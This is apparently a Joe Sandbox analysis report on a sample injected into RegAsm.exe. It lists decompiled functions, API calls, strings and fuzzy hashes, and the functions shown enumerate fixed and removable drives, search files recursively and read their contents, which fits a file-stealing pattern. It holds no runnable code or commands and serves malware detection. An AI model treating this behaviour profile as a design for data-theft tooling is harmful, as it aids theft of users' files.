Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004148B4
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00414916
memset.MSVCRT ref: 00414935
GetDriveTypeA.KERNEL32(?), ref: 0041493E
lstrcpy.KERNEL32(?,00000000), ref: 0041495E
lstrcpy.KERNEL32(?,00000000), ref: 0041497C

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414462: _EH_prolog.MSVCRT ref: 00414467
Part of subcall function 00414462: wsprintfA.USER32 ref: 0041448D
Part of subcall function 00414462: FindFirstFileA.KERNEL32(?,?), ref: 004144A4
Part of subcall function 00414462: memset.MSVCRT ref: 004144BB
Part of subcall function 00414462: memset.MSVCRT ref: 004144C9
Part of subcall function 00414462: StrCmpCA.SHLWAPI(?,00425798), ref: 004144E7
Part of subcall function 00414462: StrCmpCA.SHLWAPI(?,0042579C), ref: 00414501
Part of subcall function 00414462: wsprintfA.USER32 ref: 00414525
Part of subcall function 00414462: StrCmpCA.SHLWAPI(?,004254AE), ref: 00414536
Part of subcall function 00414462: wsprintfA.USER32 ref: 0041455C
Part of subcall function 00414462: memset.MSVCRT ref: 00414582
Part of subcall function 00414462: lstrcat.KERNEL32(?,?), ref: 00414594
Part of subcall function 00414462: strtok_s.MSVCRT ref: 004145CD
Part of subcall function 00414462: memset.MSVCRT ref: 004145E2
Part of subcall function 00414462: lstrcat.KERNEL32(?,?), ref: 004145F7

lstrcpy.KERNEL32(?,00000000), ref: 0041499F
lstrlenA.KERNEL32(?), ref: 00414A04

Strings

*%DRIVE_FIXED%*, xrefs: 004148C8
%DRIVE_REMOVABLE%, xrefs: 00414965
%DRIVE_FIXED%, xrefs: 00414983
*%DRIVE_REMOVABLE%*, xrefs: 004148EB

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$H_prologlstrcpywsprintf$Drivelstrcat$FileFindFirstLogicalStringsTypelstrlenstrtok_s
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 2879972474-147700698
Opcode ID: dea699d93c927df95dbeaac62c2028c535e1bb0fcf2e88180d2f4ce7ca951026
Instruction ID: ce69cf5d705c68102b196c23c8b494e358ccabe1c6d03937ad45a626c66a4bdb
Opcode Fuzzy Hash: dea699d93c927df95dbeaac62c2028c535e1bb0fcf2e88180d2f4ce7ca951026
Instruction Fuzzy Hash: AF5181B1900258AADF20EFB1DC46EEF7B7DEF51304F50042AF505A2192DB385A85CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401162 Relevance: 20.0, APIs: 9, Strings: 2, Instructions: 771fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401167

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421374,?,?,?,00421370,?,?,00000000,?,00000000), ref: 004013AC
StrCmpCA.SHLWAPI(?,00421378), ref: 004013CA
StrCmpCA.SHLWAPI(?,0042137C), ref: 004013E4
FindFirstFileA.KERNEL32(00000000,?,?,?,?,00421388,?,?,?,00421384,?,?,?,00421380,?,?), ref: 00401510

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,0042138C), ref: 00401832
FindClose.KERNEL32(00000000,?,?,?,?,?,0042138C), ref: 00401841
FindNextFileA.KERNEL32(?,?), ref: 00401BD4
FindClose.KERNEL32(?), ref: 00401BE5

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004061D7: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406262

Part of subcall function 00413452: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004134DB

Strings

\*.*, xrefs: 004012AF
7, xrefs: 00401BA9

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prolog$Find$lstrcpy$Close$CreateFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: 7$\*.*
API String ID: 40499504-4165053604
Opcode ID: 132a3c05a3bd8f49082d57ca7b7f0a4d0874e8a83fa622a835e5837a80e4067f
Instruction ID: 241fb47fad9d9fe79bc5b8d9739354b8124c7a3dae7548d836a13d901bd10fce
Opcode Fuzzy Hash: 132a3c05a3bd8f49082d57ca7b7f0a4d0874e8a83fa622a835e5837a80e4067f
Instruction Fuzzy Hash: CB628070904288EADB05E7E6C955FDDBBB86F29308F5044AEE446731C2DB781B4CCB66

Uniqueness

Uniqueness Score: -1.00%

Function 1B50DB10 Relevance: 18.3, APIs: 12, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d83f5e4cc54a4f29f218aecef91005d1f0713bc4be763d09e7c7efc2559b3ae
Instruction ID: 745991f4c4d381fbc921c977ec3bb97d1aaa72c0998f4ba59e3061683bcd709f
Opcode Fuzzy Hash: 2d83f5e4cc54a4f29f218aecef91005d1f0713bc4be763d09e7c7efc2559b3ae
Instruction Fuzzy Hash: 1681D476604301ABEB10DF68DC81BAFB7E9FF88714F04082CFD8597280EA75E9458792

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C0FB0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

e, xrefs: 1B4C115A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: 36bf8875baaf085edaede92fcfbfd96a80b42455c8294c9340591cc07f665f1e
Instruction ID: 9cea7d969dc1b81ab4d16663abef2dbf52806b40d3dc2a7e714e9b6e1ab6dab1
Opcode Fuzzy Hash: 36bf8875baaf085edaede92fcfbfd96a80b42455c8294c9340591cc07f665f1e
Instruction Fuzzy Hash: 385146766043419FDB04CF2ADC81AB7BBE4FF89612F10856EF88186651E731F854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B50DFC0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

%lld %lld, xrefs: 1B50E055

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %lld %lld
API String ID: 0-3794783949
Opcode ID: 3f360422da6e98d88b2934091241267ffbad8fb81053451ddf6cb0591c31ee52
Instruction ID: f3d517cce546915d65a5ab8dea78f8fed844c9d0a06eb9671b70cdb7f8cf6105
Opcode Fuzzy Hash: 3f360422da6e98d88b2934091241267ffbad8fb81053451ddf6cb0591c31ee52
Instruction Fuzzy Hash: 9731F7B5A012007BFA125B29DC06FDF7BAADFC5710F10881CFA9197251EB72E9119762

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B14D0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 360COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5B15AC
API called with finalized prepared statement, xrefs: 1B5B1586
%s at line %d of [%.10s], xrefs: 1B5B15B1
API called with NULL prepared statement, xrefs: 1B5B1571
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5B15A2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 348303c63962c7062fa6b6eeeb62d1a5e781a73ef18020e282f2b537f214fbb5
Instruction ID: aa041f2701b8d0c771883ebec34edcb26328d45094be96393ccaa6c3b335b9fd
Opcode Fuzzy Hash: 348303c63962c7062fa6b6eeeb62d1a5e781a73ef18020e282f2b537f214fbb5
Instruction Fuzzy Hash: 24C117B5D207419BFBA08F26DE45BD777E6BF40354F04092CE88687241E775E449CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BD4F0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 310COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5BD5E7
API called with finalized prepared statement, xrefs: 1B5BD5C1
%s at line %d of [%.10s], xrefs: 1B5BD5EC
API called with NULL prepared statement, xrefs: 1B5BD5AC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5BD5DD

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 256a0055a9f24b31eca79f61afc13721af294c93d32401d1010663c607bd6889
Instruction ID: 99c75a5ce8ad16ec78d379d2b1c32975d54ba05255daa4485d2512a6520d9d99
Opcode Fuzzy Hash: 256a0055a9f24b31eca79f61afc13721af294c93d32401d1010663c607bd6889
Instruction Fuzzy Hash: 52B1B1B59007419FF7108F24D985BD7B7E6BF84318F04492CE8998B281E776E44ACBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00409531 Relevance: 15.3, APIs: 10, Instructions: 301fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409536

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00424E1C,?,?,00424BFA,00000000), ref: 004095B3
StrCmpCA.SHLWAPI(?,00424E20), ref: 004095D0
StrCmpCA.SHLWAPI(?,00424E24), ref: 004095EA
StrCmpCA.SHLWAPI(?,00000000,?,?,?,00424E28,?,?,00424BFB), ref: 00409681
StrCmpCA.SHLWAPI(?), ref: 00409702

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004087A5: _EH_prolog.MSVCRT ref: 004087AA

FindNextFileA.KERNEL32(00000000,?), ref: 004098EB
FindClose.KERNEL32(00000000), ref: 004098FA

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 2015904956-0
Opcode ID: 1af04abc06d6bc89197d961ed19f84c6bdc79f3b6133f4f9b5cbd85f798cdee3
Instruction ID: 797d67777bfb35149a3cb65bc62c5bef38ee81358c28f2b680a1fecc1a85ea3b
Opcode Fuzzy Hash: 1af04abc06d6bc89197d961ed19f84c6bdc79f3b6133f4f9b5cbd85f798cdee3
Instruction Fuzzy Hash: 7EC19974900248EADF40EBB6D946BDD7FB8AF05314F14456EE445B32C2DB785B08CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040994C Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 441fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409951

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00424BFE,00000000,75B0AC90), ref: 004099B0
StrCmpCA.SHLWAPI(?,00424E34), ref: 004099CD
StrCmpCA.SHLWAPI(?,00424E38), ref: 004099E7

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

FindNextFileA.KERNEL32(00000000,?), ref: 00409F53
FindClose.KERNEL32(00000000), ref: 00409F62

Strings

", xrefs: 00409ED6
\*.*, xrefs: 00409972

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: "$\*.*
API String ID: 1275501236-2874818444
Opcode ID: 025d80593547f85e3b26cbf902971ce118cb3220362a313577e05ad7aa6cd319
Instruction ID: 442f60aee239f96d41c3c9371088bd5c07d6a5438acdaa834dec4229389d6373
Opcode Fuzzy Hash: 025d80593547f85e3b26cbf902971ce118cb3220362a313577e05ad7aa6cd319
Instruction Fuzzy Hash: FF127F71800148EADB45EBA2C956FEEBB78AF25304F1044AFA446731C2DF385B58DB75

Uniqueness

Uniqueness Score: -1.00%

Function 1B574D40 Relevance: 14.0, APIs: 9, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a9f175eab1b539870f142f9dfb566b4b1c34942289a01b7c360728d5e4df0b
Instruction ID: c65e9ac8f140bf23fbee67753c74e42c39c4d80eb8ffd0f4b306e213d83dbf0c
Opcode Fuzzy Hash: 46a9f175eab1b539870f142f9dfb566b4b1c34942289a01b7c360728d5e4df0b
Instruction Fuzzy Hash: A8F1F8B0A003429FE710AF65DC88A9B77F8EFD5319F44492DEC9482241E775E949CBE2

Uniqueness

Uniqueness Score: -1.00%

